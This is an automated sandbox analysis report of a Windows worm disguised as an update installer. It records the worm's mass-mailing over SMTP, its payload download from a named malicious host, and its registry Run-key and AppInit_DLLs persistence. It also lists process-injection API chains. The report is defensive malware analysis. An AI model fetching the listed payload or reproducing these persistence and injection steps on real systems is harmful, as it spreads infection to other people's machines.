Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Update-KB4890-x86.exe

Overview

General Information

Sample name:Update-KB4890-x86.exe
Analysis ID:1546168
MD5:ef486246c545a184394561883098fa97
SHA1:84efdeb9e41219b49e58feff9bb652b7ef1d422e
SHA256:4401b0cc190f39315964be8ceeca6e82f6f3be410c45d852c5b2d6a45a54ecce
Tags:exeuser-TeamDreier
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Contains functionality to inject threads in other processes
Creates an undocumented autostart registry key
Detected PE file pumping (to bypass AV & sandboxing)
Drops executables to the windows directory (C:\Windows) and starts them
Machine Learning detection for dropped file
Machine Learning detection for sample
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Extensive use of GetProcAddress (often used to hide API calls)
Found evasive API chain (may stop execution after checking a module file name)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Suspicious Outbound SMTP Connections
Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
Sigma detected: Wow6432Node Windows NT CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses SMTP (mail sending)
Uses code obfuscation techniques (call, push, ret)

Classification

  • System is w10x64
  • Update-KB4890-x86.exe (PID: 2464 cmdline: "C:\Users\user\Desktop\Update-KB4890-x86.exe" MD5: EF486246C545A184394561883098FA97)
    • tserv.exe (PID: 4032 cmdline: C:\Windows\tserv.exe s MD5: EF486246C545A184394561883098FA97)
  • tserv.exe (PID: 4280 cmdline: "C:\Windows\tserv.exe" s MD5: EF486246C545A184394561883098FA97)
  • cleanup
No configs have been found
No yara matches
Source: Network ConnectionAuthor: frack113: Data: DestinationIp: 67.195.204.72, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Windows\tserv.exe, Initiated: true, ProcessId: 4032, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49704
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\tserv.exe s, EventID: 13, EventType: SetValue, Image: C:\Windows\tserv.exe, ProcessId: 4032, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\tserv
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: msji449c14b7.dll, EventID: 13, EventType: SetValue, Image: C:\Windows\tserv.exe, ProcessId: 4032, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-10-31T15:41:46.158599+010020229301A Network Trojan was detected20.12.23.50443192.168.2.849705TCP
2024-10-31T15:42:16.185406+010020229301A Network Trojan was detected20.12.23.50443192.168.2.857702TCP
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-10-31T15:42:06.070801+010020169981A Network Trojan was detected192.168.2.849711193.166.255.17180TCP
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-10-31T15:41:52.824742+010020197142Potentially Bad Traffic192.168.2.849706193.166.255.17180TCP
2024-10-31T15:42:14.566301+010020197142Potentially Bad Traffic192.168.2.849711193.166.255.17180TCP
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-10-31T15:41:52.824742+010028033053Unknown Traffic192.168.2.849706193.166.255.17180TCP
2024-10-31T15:42:14.566301+010028033053Unknown Traffic192.168.2.849711193.166.255.17180TCP

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: Update-KB4890-x86.exeAvira: detected
Source: C:\Windows\tserv.exeAvira: detection malicious, Label: WORM/Stration.C
Source: C:\Windows\tserv.exeReversingLabs: Detection: 94%
Source: Update-KB4890-x86.exeReversingLabs: Detection: 94%
Source: Submited SampleIntegrated Neural Analysis Model: Matched 93.5% probability
Source: C:\Windows\tserv.exeJoe Sandbox ML: detected
Source: Update-KB4890-x86.exeJoe Sandbox ML: detected
Source: Update-KB4890-x86.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,0_2_00406360
Source: global trafficHTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global trafficHTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: Joe Sandbox ViewIP Address: 98.136.96.77 98.136.96.77
Source: Joe Sandbox ViewIP Address: 193.166.255.171 193.166.255.171
Source: Joe Sandbox ViewIP Address: 67.195.204.72 67.195.204.72
Source: Network trafficSuricata IDS: 2016998 - Severity 1 - ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host) : 192.168.2.8:49711 -> 193.166.255.171:80
Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49711 -> 193.166.255.171:80
Source: Network trafficSuricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49711 -> 193.166.255.171:80
Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49706 -> 193.166.255.171:80
Source: Network trafficSuricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49706 -> 193.166.255.171:80
Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.8:57702
Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.8:49705
Source: global trafficTCP traffic: 192.168.2.8:49704 -> 67.195.204.72:25
Source: global trafficTCP traffic: 192.168.2.8:49710 -> 98.136.96.75:25
Source: global trafficTCP traffic: 192.168.2.8:57703 -> 98.136.96.77:25
Source: global trafficTCP traffic: 192.168.2.8:57707 -> 142.251.1.26:25
Source: global trafficTCP traffic: 192.168.2.8:57714 -> 67.195.228.111:25
Source: global trafficTCP traffic: 192.168.2.8:57816 -> 142.250.153.26:25
Source: global trafficTCP traffic: 192.168.2.8:57925 -> 142.251.9.27:25
Source: global trafficTCP traffic: 192.168.2.8:57978 -> 74.125.133.27:25
Source: global trafficTCP traffic: 192.168.2.8:57980 -> 74.125.200.27:25
Source: global trafficTCP traffic: 192.168.2.8:57982 -> 52.101.73.31:25
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficHTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global trafficHTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global trafficDNS traffic detected: DNS query: yahoo.com
Source: global trafficDNS traffic detected: DNS query: mta5.am0.yahoodns.net
Source: global trafficDNS traffic detected: DNS query: mta7.am0.yahoodns.net
Source: global trafficDNS traffic detected: DNS query: mta6.am0.yahoodns.net
Source: global trafficDNS traffic detected: DNS query: www4.cedesunjerinkas.com
Source: global trafficDNS traffic detected: DNS query: gmail.com
Source: global trafficDNS traffic detected: DNS query: alt3.gmail-smtp-in.l.google.com
Source: global trafficDNS traffic detected: DNS query: alt1.gmail-smtp-in.l.google.com
Source: global trafficDNS traffic detected: DNS query: gmail-smtp-in.l.google.com
Source: global trafficDNS traffic detected: DNS query: alt4.gmail-smtp-in.l.google.com
Source: global trafficDNS traffic detected: DNS query: alt2.gmail-smtp-in.l.google.com
Source: global trafficDNS traffic detected: DNS query: hotmail.com
Source: global trafficDNS traffic detected: DNS query: hotmail-com.olc.protection.outlook.com
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00423D83: QueryDosDeviceA,lstrcpyA,lstrcatA,GetLastError,lstrcpyA,lstrcatA,DefineDosDeviceA,GetLastError,lstrcpyA,lstrcatA,CreateFileA,DeviceIoControl,GetLastError,GetLastError,DefineDosDeviceA,GetLastError,0_2_00423D83
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeFile created: C:\Windows\tserv.exeJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeFile created: C:\Windows\tserv.exe\:Zone.Identifier:$DATAJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004118000_2_00411800
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004108D00_2_004108D0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040C8E00_2_0040C8E0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040F0E90_2_0040F0E9
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004109070_2_00410907
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004041100_2_00404110
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004091190_2_00409119
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040F1C70_2_0040F1C7
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040C1D00_2_0040C1D0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004049900_2_00404990
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004091A70_2_004091A7
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040E2460_2_0040E246
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00428A080_2_00428A08
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004252140_2_00425214
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004053100_2_00405310
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00408BC00_2_00408BC0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00415BD00_2_00415BD0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0041B3D00_2_0041B3D0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040DBF00_2_0040DBF0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0041E3A00_2_0041E3A0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004094360_2_00409436
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00409CF70_2_00409CF7
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0041BD000_2_0041BD00
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040EDE00_2_0040EDE0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040DE560_2_0040DE56
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0041C6600_2_0041C660
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004106700_2_00410670
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040E6760_2_0040E676
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00409F470_2_00409F47
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040EF780_2_0040EF78
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040FF300_2_0040FF30
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00405F300_2_00405F30
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: String function: 0042664C appears 45 times
Source: Update-KB4890-x86.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: classification engineClassification label: mal100.evad.winEXE@4/2@14/11
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004047A0 lstrcatA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,0_2_004047A0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00405090 GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcatA,GetFileAttributesA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,0_2_00405090
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0041E0B0 FindResourceA,LoadResource,SizeofResource,LockResource,CreateFileA,WriteFile,CloseHandle,0_2_0041E0B0
Source: C:\Windows\tserv.exeMutant created: NULL
Source: Update-KB4890-x86.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: Update-KB4890-x86.exeReversingLabs: Detection: 94%
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeFile read: C:\Users\user\Desktop\Update-KB4890-x86.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\Update-KB4890-x86.exe "C:\Users\user\Desktop\Update-KB4890-x86.exe"
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeProcess created: C:\Windows\tserv.exe C:\Windows\tserv.exe s
Source: unknownProcess created: C:\Windows\tserv.exe "C:\Windows\tserv.exe" s
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeProcess created: C:\Windows\tserv.exe C:\Windows\tserv.exe sJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: acgenral.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: samcli.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: msacm32.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: winmmbase.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: winmmbase.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: aclayers.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: sfc.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: cmut449c14b7.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: cmut449c14b7.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: cmut449c14b7.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: cmut449c14b7.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: cmut449c14b7.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\tserv.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,0_2_0041F660
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0042647C push eax; ret 0_2_0042649A
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004254B0 push eax; ret 0_2_004254C4
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_004254B0 push eax; ret 0_2_004254EC
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00426687 push ecx; ret 0_2_00426697

Persistence and Installation Behavior

barindex
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeExecutable created and started: C:\Windows\tserv.exeJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeFile created: C:\Windows\tserv.exeJump to dropped file
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeFile created: C:\Windows\tserv.exeJump to dropped file

Boot Survival

barindex
Source: C:\Windows\tserv.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows AppInit_DLLsJump to behavior
Source: C:\Windows\tserv.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run tservJump to behavior
Source: C:\Windows\tserv.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run tservJump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0041D159 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,0_2_0041D159
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Source: Update-KB4890-x86.exeStatic PE information: Resource name: RT_ICON size: 0xffffff28
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040C1D0 rdtsc 0_2_0040C1D0
Source: C:\Windows\tserv.exeThread delayed: delay time: 300000Jump to behavior
Source: C:\Windows\tserv.exeThread delayed: delay time: 300000Jump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeEvasive API call chain: GetModuleFileName,DecisionNodes,ExitProcessgraph_0-12761
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-12695
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeAPI coverage: 9.3 %
Source: C:\Windows\tserv.exe TID: 4640Thread sleep time: -300000s >= -30000sJump to behavior
Source: C:\Windows\tserv.exe TID: 3436Thread sleep time: -300000s >= -30000sJump to behavior
Source: C:\Windows\tserv.exeLast function: Thread delayed
Source: C:\Windows\tserv.exeLast function: Thread delayed
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,0_2_00406360
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00429F44 VirtualQuery,GetSystemInfo,VirtualQuery,VirtualAlloc,VirtualProtect,0_2_00429F44
Source: C:\Windows\tserv.exeThread delayed: delay time: 300000Jump to behavior
Source: C:\Windows\tserv.exeThread delayed: delay time: 300000Jump to behavior
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeAPI call chain: ExitProcess graph end nodegraph_0-12762
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040C1D0 rdtsc 0_2_0040C1D0
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,0_2_0041F660
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0041F830 GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,SetEvent,Sleep,0_2_0041F830
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0042731A SetUnhandledExceptionFilter,0_2_0042731A
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0042732E SetUnhandledExceptionFilter,0_2_0042732E

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00404840 OpenProcess,lstrlenA,VirtualAllocEx,WriteProcessMemory,GetModuleHandleA,GetProcAddress,CreateRemoteThread,0_2_00404840
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00423260 GetProcessHeap,HeapAlloc,HeapAlloc,HeapAlloc,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,InitializeSecurityDescriptor,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetTokenInformation,GetTokenInformation,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,IsValidSecurityDescriptor,0_2_00423260
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: GetLocaleInfoA,0_2_0042C8B2
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00401830 ExpandEnvironmentStringsA,GetLocalTime,CreateFileA,CloseHandle,0_2_00401830
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_0040BE00 lstrlenA,GetLocalTime,GetTimeZoneInformation,lstrlenA,0_2_0040BE00
Source: C:\Users\user\Desktop\Update-KB4890-x86.exeCode function: 0_2_00425D91 EntryPoint,GetVersionExA,GetModuleHandleA,GetModuleHandleA,_fast_error_exit,_fast_error_exit,GetCommandLineA,GetStartupInfoA,__wincmdln,GetModuleHandleA,0_2_00425D91
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts3
Native API
11
Registry Run Keys / Startup Folder
1
Access Token Manipulation
12
Masquerading
OS Credential Dumping2
System Time Discovery
Remote Services1
Archive Collected Data
1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/Job1
DLL Side-Loading
11
Process Injection
121
